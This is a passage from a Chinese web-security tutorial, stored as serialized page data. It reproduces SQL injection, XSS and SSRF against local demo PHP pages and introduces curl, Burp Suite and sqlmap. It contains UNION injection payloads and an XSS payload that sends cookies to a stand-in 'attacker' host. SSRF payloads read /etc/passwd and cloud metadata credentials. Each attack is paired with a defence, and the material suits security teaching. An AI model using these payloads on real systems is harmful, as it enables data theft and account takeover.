127.0.0.1:8000\n",[26,12987,12988],{"__ignoreMap":24},[29,12989,12990,12992,12994],{"class":31,"line":32},[29,12991,5320],{"class":122},[29,12993,5396],{"class":815},[29,12995,5399],{"class":126},[235,12997,12999],{"id":12998},"_32-正常请求","3.2 正常请求",[15,13001,1270],{},[19,13003,13004],{"className":113,"code":5541,"language":115,"meta":24,"style":24},[26,13005,13006],{"__ignoreMap":24},[29,13007,13008,13010,13012,13014],{"class":31,"line":32},[29,13009,248],{"class":122},[29,13011,252],{"class":251},[29,13013,5552],{"class":126},[29,13015,258],{"class":251},[15,13017,261],{},[19,13019,13021],{"className":13020,"code":5560,"language":477,"meta":24},[475],[26,13022,5560],{"__ignoreMap":24},[235,13024,13026],{"id":13025},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,13028,13029,13031,13032,13034],{},[216,13030,218],{},"：确认 ",[26,13033,449],{}," 参数确实能被拼进 SQL 并影响查询逻辑，而不是被框架做了过滤。",[15,13036,13037,13039,13040,13043,13044,13047],{},[216,13038,224],{},"：如果注入成立，那么：① 单引号会破坏 SQL 语法导致报错；② 追加 ",[26,13041,13042],{},"AND 1=1","（恒真）页面正常；③ 追加 ",[26,13045,13046],{},"AND 1=2","（恒假）查询结果为空。三者同时满足即可判定。",[15,13049,13050,13052],{},[216,13051,1745],{},"：逐条发送以下三个请求，对比输出。",[15,13054,13055],{},"输入 1：",[19,13057,13059],{"className":113,"code":13058,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[26,13060,13061,13071,13076,13081],{"__ignoreMap":24},[29,13062,13063,13065,13067,13069],{"class":31,"line":32},[29,13064,248],{"class":122},[29,13066,252],{"class":251},[29,13068,5585],{"class":126},[29,13070,258],{"class":251},[29,13072,13073],{"class":31,"line":38},[29,13074,13075],{"class":807},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[29,13077,13078],{"class":31,"line":45},[29,13079,13080],{"class":807},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[29,13082,13083],{"class":31,"line":51},[29,13084,13085],{"class":807},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[15,13087,13088],{},"预期输出：SQL 语法错误，例如：",[19,13090,13092],{"className":13091,"code":5594,"language":477,"meta":24},[475],[26,13093,5594],{"__ignoreMap":24},[15,13095,13096],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,13098,13099],{},"输入 2：",[19,13101,13103],{"className":113,"code":13102,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[26,13104,13105,13115,13120],{"__ignoreMap":24},[29,13106,13107,13109,13111,13113],{"class":31,"line":32},[29,13108,248],{"class":122},[29,13110,252],{"class":251},[29,13112,5621],{"class":126},[29,13114,258],{"class":251},[29,13116,13117],{"class":31,"line":38},[29,13118,13119],{"class":807},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[29,13121,13122],{"class":31,"line":45},[29,13123,13124],{"class":807},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,13126,261,13127,13129],{},[26,13128,5628],{},"（条件为真，正常返回）。",[15,13131,13132],{},"输入 3：",[19,13134,13136],{"className":113,"code":13135,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[26,13137,13138,13148,13153],{"__ignoreMap":24},[29,13139,13140,13142,13144,13146],{"class":31,"line":32},[29,13141,248],{"class":122},[29,13143,252],{"class":251},[29,13145,5647],{"class":126},[29,13147,258],{"class":251},[29,13149,13150],{"class":31,"line":38},[29,13151,13152],{"class":807},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[29,13154,13155],{"class":31,"line":45},[29,13156,13157],{"class":807},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,13159,13160],{},"预期输出：空（条件为假，查不到数据）。",[15,13162,13163,13164,13166,13167,5666],{},"三个结果合起来：单引号报错、",[26,13165,5661],{}," 正常、",[26,13168,5665],{},[235,13170,13172],{"id":13171},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,13174,13175,13177],{},[216,13176,218],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,13179,13180,13182,13183,13185],{},[216,13181,224],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[26,13184,5686],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,13187,13188],{},"第一步，确定列数：",[19,13190,13192],{"className":113,"code":13191,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[26,13193,13194,13204,13209],{"__ignoreMap":24},[29,13195,13196,13198,13200,13202],{"class":31,"line":32},[29,13197,248],{"class":122},[29,13199,252],{"class":251},[29,13201,5713],{"class":126},[29,13203,258],{"class":251},[29,13205,13206],{"class":31,"line":38},[29,13207,13208],{"class":807},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[29,13210,13211],{"class":31,"line":45},[29,13212,13213],{"class":807},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,13215,13216],{},"第二步，确认哪一列会回显：",[19,13218,13220],{"className":113,"code":13219,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[26,13221,13222,13232,13237,13242],{"__ignoreMap":24},[29,13223,13224,13226,13228,13230],{"class":31,"line":32},[29,13225,248],{"class":122},[29,13227,252],{"class":251},[29,13229,5777],{"class":126},[29,13231,258],{"class":251},[29,13233,13234],{"class":31,"line":38},[29,13235,13236],{"class":807},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[29,13238,13239],{"class":31,"line":45},[29,13240,13241],{"class":807},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[29,13243,13244],{"class":31,"line":51},[29,13245,13246],{"class":807},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,13248,261,13249,13251],{},[26,13250,5784],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[15,13253,13254],{},"第三步，查数据库名：",[19,13256,13258],{"className":113,"code":13257,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[26,13259,13260,13270,13275],{"__ignoreMap":24},[29,13261,13262,13264,13266,13268],{"class":31,"line":32},[29,13263,248],{"class":122},[29,13265,252],{"class":251},[29,13267,5803],{"class":126},[29,13269,258],{"class":251},[29,13271,13272],{"class":31,"line":38},[29,13273,13274],{"class":807},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[29,13276,13277],{"class":31,"line":45},[29,13278,13279],{"class":807},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,13281,261,13282,458],{},[26,13283,1136],{},[15,13285,13286],{},"第四步，查表名：",[19,13288,13290],{"className":113,"code":13289,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[26,13291,13292,13302,13307,13312,13317],{"__ignoreMap":24},[29,13293,13294,13296,13298,13300],{"class":31,"line":32},[29,13295,248],{"class":122},[29,13297,252],{"class":251},[29,13299,5827],{"class":126},[29,13301,258],{"class":251},[29,13303,13304],{"class":31,"line":38},[29,13305,13306],{"class":807},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[29,13308,13309],{"class":31,"line":45},[29,13310,13311],{"class":807},"# WHERE table_schema=database()：只筛当前库的表。\n",[29,13313,13314],{"class":31,"line":51},[29,13315,13316],{"class":807},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[29,13318,13319],{"class":31,"line":56},[29,13320,13321],{"class":807},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,13323,261,13324,458],{},[26,13325,5834],{},[15,13327,13328],{},"第五步，拿 flag：",[19,13330,13332],{"className":113,"code":13331,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[26,13333,13334,13344,13349,13354],{"__ignoreMap":24},[29,13335,13336,13338,13340,13342],{"class":31,"line":32},[29,13337,248],{"class":122},[29,13339,252],{"class":251},[29,13341,5891],{"class":126},[29,13343,258],{"class":251},[29,13345,13346],{"class":31,"line":38},[29,13347,13348],{"class":807},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[29,13350,13351],{"class":31,"line":45},[29,13352,13353],{"class":807},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[29,13355,13356],{"class":31,"line":51},[29,13357,13358],{"class":807},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,13360,261,13361,458],{},[26,13362,5898],{},[15,13364,13365],{},"说明：",[9615,13367,13368,13373,13383],{},[1886,13369,13370,13372],{},[26,13371,5686],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[1886,13374,13375,13378,13379,13382],{},[26,13376,13377],{},"--+","：URL 中解码后是 ",[26,13380,13381],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[1886,13384,13385,13388],{},[26,13386,13387],{},"group_concat","：把多行拼成一行，方便一次性输出。",[235,13390,13392],{"id":13391},"_35-防御参数化查询","3.5 防御：参数化查询",[19,13394,13396],{"className":5318,"code":13395,"language":5320,"meta":24,"style":24},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[26,13397,13398,13402],{"__ignoreMap":24},[29,13399,13400],{"class":31,"line":32},[29,13401,6288],{},[29,13403,13404],{"class":31,"line":38},[29,13405,6293],{},[15,13407,13408,13409,13411,13412,13415],{},"此时输入 ",[26,13410,6332],{}," 只会被当作字符串 ",[26,13413,13414],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,13417,13419],{"id":13418},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,13421,13422,13424],{},[216,13423,218],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,13426,13427,13429,13430,13433,13434,13437,13438,13441],{},[216,13428,224],{},"：页面把 ",[26,13431,13432],{},"name"," 原样输出。如果我们传 ",[26,13435,13436],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[26,13439,13440],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[235,13443,13445],{"id":13444},"_41-平台与代码","4.1 平台与代码",[15,13447,13448,13449,137],{},"任意 Web 应用。示例 ",[26,13450,13451],{},"xss.php",[19,13453,13455],{"className":5318,"code":13454,"language":5320,"meta":24,"style":24},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[26,13456,13457],{"__ignoreMap":24},[29,13458,13459],{"class":31,"line":32},[29,13460,13454],{},[235,13462,13464],{"id":13463},"_42-正常请求","4.2 正常请求",[19,13466,13468],{"className":113,"code":13467,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[26,13469,13470],{"__ignoreMap":24},[29,13471,13472,13474,13476,13479],{"class":31,"line":32},[29,13473,248],{"class":122},[29,13475,252],{"class":251},[29,13477,13478],{"class":126},"http://127.0.0.1:8000/xss.php?name=alice",[29,13480,258],{"class":251},[15,13482,1410,13483,458],{},[26,13484,13485],{},"你好，alice！",[235,13487,13489],{"id":13488},"_43-注入脚本","4.3 注入脚本",[19,13491,13493],{"className":113,"code":13492,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[26,13494,13495],{"__ignoreMap":24},[29,13496,13497,13499,13501,13504],{"class":31,"line":32},[29,13498,248],{"class":122},[29,13500,252],{"class":251},[29,13502,13503],{"class":126},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[29,13505,258],{"class":251},[15,13507,1410],{},[19,13509,13511],{"className":264,"code":13510,"language":266,"meta":24,"style":24},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[26,13512,13513,13518,13527,13540,13549],{"__ignoreMap":24},[29,13514,13515],{"class":31,"line":32},[29,13516,13517],{"class":273},"你好，\n",[29,13519,13520,13522,13525],{"class":31,"line":38},[29,13521,274],{"class":273},[29,13523,13524],{"class":277},"script",[29,13526,286],{"class":273},[29,13528,13529,13532,13535,13537],{"class":31,"line":45},[29,13530,13531],{"class":122},"  alert",[29,13533,13534],{"class":273},"(",[29,13536,6567],{"class":815},[29,13538,13539],{"class":273},")\n",[29,13541,13542,13545,13547],{"class":31,"line":51},[29,13543,13544],{"class":273},"\u003C/",[29,13546,13524],{"class":277},[29,13548,286],{"class":273},[29,13550,13551],{"class":31,"line":56},[29,13552,13553],{"class":273},"！\n",[15,13555,13556,13557,13559,13560,13562],{},"浏览器会把 ",[26,13558,13440],{}," 当作代码执行。",[26,13561,248],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[235,13564,13566],{"id":13565},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,13568,13569],{},"攻击者构造 URL：",[19,13571,13573],{"className":264,"code":13572,"language":266,"meta":24,"style":24},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[26,13574,13575,13580,13588,13609],{"__ignoreMap":24},[29,13576,13577],{"class":31,"line":32},[29,13578,13579],{"class":273},"http://127.0.0.1:8000/xss.php?name=\n",[29,13581,13582,13584,13586],{"class":31,"line":38},[29,13583,274],{"class":273},[29,13585,13524],{"class":277},[29,13587,286],{"class":273},[29,13589,13590,13593,13595,13598,13601,13603,13606],{"class":31,"line":45},[29,13591,13592],{"class":122},"  fetch",[29,13594,13534],{"class":273},[29,13596,13597],{"class":251},"'",[29,13599,13600],{"class":126},"http://attacker/?c=",[29,13602,13597],{"class":251},[29,13604,13605],{"class":277}," +",[29,13607,13608],{"class":273}," document.cookie)\n",[29,13610,13611,13613,13615],{"class":31,"line":51},[29,13612,13544],{"class":273},[29,13614,13524],{"class":277},[29,13616,286],{"class":273},[15,13618,13619,13620,13623],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[26,13621,13622],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[235,13625,13627],{"id":13626},"_45-防御输出编码","4.5 防御：输出编码",[15,13629,13630],{},"输出前把危险字符转义：",[342,13632,13633,13643],{},[345,13634,13635],{},[348,13636,13637,13640],{},[351,13638,13639],{},"原始字符",[351,13641,13642],{},"转义后",[361,13644,13645,13656,13668,13679,13690],{},[348,13646,13647,13651],{},[366,13648,13649],{},[26,13650,274],{},[366,13652,13653],{},[26,13654,13655],{},"&lt;",[348,13657,13658,13663],{},[366,13659,13660],{},[26,13661,13662],{},">",[366,13664,13665],{},[26,13666,13667],{},"&gt;",[348,13669,13670,13674],{},[366,13671,13672],{},[26,13673,804],{},[366,13675,13676],{},[26,13677,13678],{},"&quot;",[348,13680,13681,13685],{},[366,13682,13683],{},[26,13684,13597],{},[366,13686,13687],{},[26,13688,13689],{},"&#39;",[348,13691,13692,13697],{},[366,13693,13694],{},[26,13695,13696],{},"&",[366,13698,13699],{},[26,13700,13701],{},"&amp;",[15,13703,13704,13705,13708],{},"PHP 用 ",[26,13706,13707],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,13710,13712],{"id":13711},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[15,13714,13715,13717],{},[216,13716,218],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,13719,13720,137,13722,13725,13726,13729,13730,13733,13734,13737,13738,13741],{},[216,13721,224],{},[26,13723,13724],{},"file_get_contents($url)"," 会按 ",[26,13727,13728],{},"$url"," 的协议去读内容。协议决定能力：",[26,13731,13732],{},"file://"," 读本地文件，",[26,13735,13736],{},"http://"," 访问内网，",[26,13739,13740],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[235,13743,13745],{"id":13744},"_51-平台与代码","5.1 平台与代码",[15,13747,13748,13749,137],{},"具有\"URL 处理\"功能的应用。示例 ",[26,13750,13751],{},"ssrf.php",[19,13753,13755],{"className":5318,"code":13754,"language":5320,"meta":24,"style":24},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[26,13756,13757,13761,13766,13771,13776,13781],{"__ignoreMap":24},[29,13758,13759],{"class":31,"line":32},[29,13760,5462],{},[29,13762,13763],{"class":31,"line":38},[29,13764,13765],{},"echo file_get_contents($_GET['url']);\n",[29,13767,13768],{"class":31,"line":45},[29,13769,13770],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[29,13772,13773],{"class":31,"line":51},[29,13774,13775],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[29,13777,13778],{"class":31,"line":56},[29,13779,13780],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[29,13782,13783],{"class":31,"line":62},[29,13784,5500],{},[235,13786,13788],{"id":13787},"_52-读本地文件","5.2 读本地文件",[19,13790,13792],{"className":113,"code":13791,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[26,13793,13794,13805,13810,13815],{"__ignoreMap":24},[29,13795,13796,13798,13800,13803],{"class":31,"line":32},[29,13797,248],{"class":122},[29,13799,252],{"class":251},[29,13801,13802],{"class":126},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[29,13804,258],{"class":251},[29,13806,13807],{"class":31,"line":38},[29,13808,13809],{"class":807},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[29,13811,13812],{"class":31,"line":45},[29,13813,13814],{"class":807},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[29,13816,13817],{"class":31,"line":51},[29,13818,13819],{"class":807},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,13821,261],{},[19,13823,13826],{"className":13824,"code":13825,"language":477,"meta":24},[475],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[26,13827,13825],{"__ignoreMap":24},[235,13829,13831],{"id":13830},"_53-探测内网端口","5.3 探测内网端口",[19,13833,13835],{"className":113,"code":13834,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[26,13836,13837,13848,13853,13858],{"__ignoreMap":24},[29,13838,13839,13841,13843,13846],{"class":31,"line":32},[29,13840,248],{"class":122},[29,13842,252],{"class":251},[29,13844,13845],{"class":126},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[29,13847,258],{"class":251},[29,13849,13850],{"class":31,"line":38},[29,13851,13852],{"class":807},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[29,13854,13855],{"class":31,"line":45},[29,13856,13857],{"class":807},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[29,13859,13860],{"class":31,"line":51},[29,13861,13862],{"class":807},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,13864,13865],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[235,13867,13869],{"id":13868},"_54-访问云元数据","5.4 访问云元数据",[19,13871,13873],{"className":113,"code":13872,"language":115,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[26,13874,13875,13886,13891,13896],{"__ignoreMap":24},[29,13876,13877,13879,13881,13884],{"class":31,"line":32},[29,13878,248],{"class":122},[29,13880,252],{"class":251},[29,13882,13883],{"class":126},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[29,13885,258],{"class":251},[29,13887,13888],{"class":31,"line":38},[29,13889,13890],{"class":807},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[29,13892,13893],{"class":31,"line":45},[29,13894,13895],{"class":807},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[29,13897,13898],{"class":31,"line":51},[29,13899,13900],{"class":807},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,13902,13903],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[235,13905,13907],{"id":13906},"_55-防御","5.5 防御",[19,13909,13911],{"className":5318,"code":13910,"language":5320,"meta":24,"style":24},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[26,13912,13913,13918,13923,13928],{"__ignoreMap":24},[29,13914,13915],{"class":31,"line":32},[29,13916,13917],{},"$allowed = ['https', 'http'];\n",[29,13919,13920],{"class":31,"line":38},[29,13921,13922],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[29,13924,13925],{"class":31,"line":45},[29,13926,13927],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[29,13929,13930],{"class":31,"line":51},[29,13931,13932],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,13934,13936],{"id":13935},"六必学工具-1curl","六、必学工具 1：curl",[15,13938,13939],{},"三个核心功能，逐个演示。",[15,13941,13942],{},"功能 1：带参数 GET。",[19,13944,13945],{"className":113,"code":5541,"language":115,"meta":24,"style":24},[26,13946,13947],{"__ignoreMap":24},[29,13948,13949,13951,13953,13955],{"class":31,"line":32},[29,13950,248],{"class":122},[29,13952,252],{"class":251},[29,13954,5552],{"class":126},[29,13956,258],{"class":251},[15,13958,1410,13959,458],{},[26,13960,5628],{},[15,13962,13963,13964,9484],{},"功能 2：查看完整请求与响应（",[26,13965,12645],{},[19,13967,13969],{"className":113,"code":13968,"language":115,"meta":24,"style":24},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[26,13970,13971,13983,13988,13993],{"__ignoreMap":24},[29,13972,13973,13975,13977,13979,13981],{"class":31,"line":32},[29,13974,248],{"class":122},[29,13976,12633],{"class":815},[29,13978,252],{"class":251},[29,13980,5552],{"class":126},[29,13982,258],{"class":251},[29,13984,13985],{"class":31,"line":38},[29,13986,13987],{"class":807},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[29,13989,13990],{"class":31,"line":45},[29,13991,13992],{"class":807},"# \u003C 开头是响应行与响应头，最后是正文。\n",[29,13994,13995],{"class":31,"line":51},[29,13996,13997],{"class":807},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,13999,14000,14001,14003,14004,14006],{},"输出中 ",[26,14002,13662],{}," 开头的是请求，",[26,14005,274],{}," 开头的是响应，最下面是正文。",[15,14008,14009,14010,9484],{},"功能 3：POST 数据（",[26,14011,14012],{},"-d",[19,14014,14016],{"className":113,"code":14015,"language":115,"meta":24,"style":24},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[26,14017,14018],{"__ignoreMap":24},[29,14019,14020,14022,14025,14028,14030,14033,14035,14037,14039,14042],{"class":31,"line":32},[29,14021,248],{"class":122},[29,14023,14024],{"class":815}," -X",[29,14026,14027],{"class":126}," POST",[29,14029,252],{"class":251},[29,14031,14032],{"class":126},"http://127.0.0.1:8000/login.php",[29,14034,804],{"class":251},[29,14036,1479],{"class":815},[29,14038,252],{"class":251},[29,14040,14041],{"class":126},"username=admin&password=123",[29,14043,258],{"class":251},[15,14045,14046],{},"用于登录、上传等需要 POST 的场景。",[10,14048,14050],{"id":14049},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,14052,14053],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[342,14055,14056,14069],{},[345,14057,14058],{},[348,14059,14060,14063,14066],{},[351,14061,14062],{},"模块",[351,14064,14065],{},"用途",[351,14067,14068],{},"操作步骤",[361,14070,14071,14086,14097],{},[348,14072,14073,14076,14079],{},[366,14074,14075],{},"Proxy",[366,14077,14078],{},"拦截请求",[366,14080,14081,14082,14085],{},"浏览器设置代理 ",[26,14083,14084],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[348,14087,14088,14091,14094],{},[366,14089,14090],{},"Repeater",[366,14092,14093],{},"手工重放",[366,14095,14096],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[348,14098,14099,14102,14105],{},[366,14100,14101],{},"Intruder",[366,14103,14104],{},"自动化遍历",[366,14106,14107],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,14109,14110],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,14112,14114],{"id":14113},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,14116,14117],{},"SQL 注入自动化工具。三个核心命令：",[15,14119,14120],{},"命令 1：检测。",[19,14122,14123],{"className":113,"code":6171,"language":115,"meta":24,"style":24},[26,14124,14125],{"__ignoreMap":24},[29,14126,14127,14129,14131,14133,14135,14137],{"class":31,"line":32},[29,14128,6178],{"class":122},[29,14130,944],{"class":815},[29,14132,252],{"class":251},[29,14134,5552],{"class":126},[29,14136,804],{"class":251},[29,14138,6189],{"class":815},[15,14140,1532],{},[19,14142,14144],{"className":14143,"code":6195,"language":477,"meta":24},[475],[26,14145,6195],{"__ignoreMap":24},[15,14147,14148],{},"命令 2：列数据库。",[19,14150,14151],{"className":113,"code":6204,"language":115,"meta":24,"style":24},[26,14152,14153],{"__ignoreMap":24},[29,14154,14155,14157,14159,14161,14163,14165],{"class":31,"line":32},[29,14156,6178],{"class":122},[29,14158,944],{"class":815},[29,14160,252],{"class":251},[29,14162,5552],{"class":126},[29,14164,804],{"class":251},[29,14166,6221],{"class":815},[15,14168,14169,14170,458],{},"预期输出：数据库列表，包含 ",[26,14171,1136],{},[15,14173,14174],{},"命令 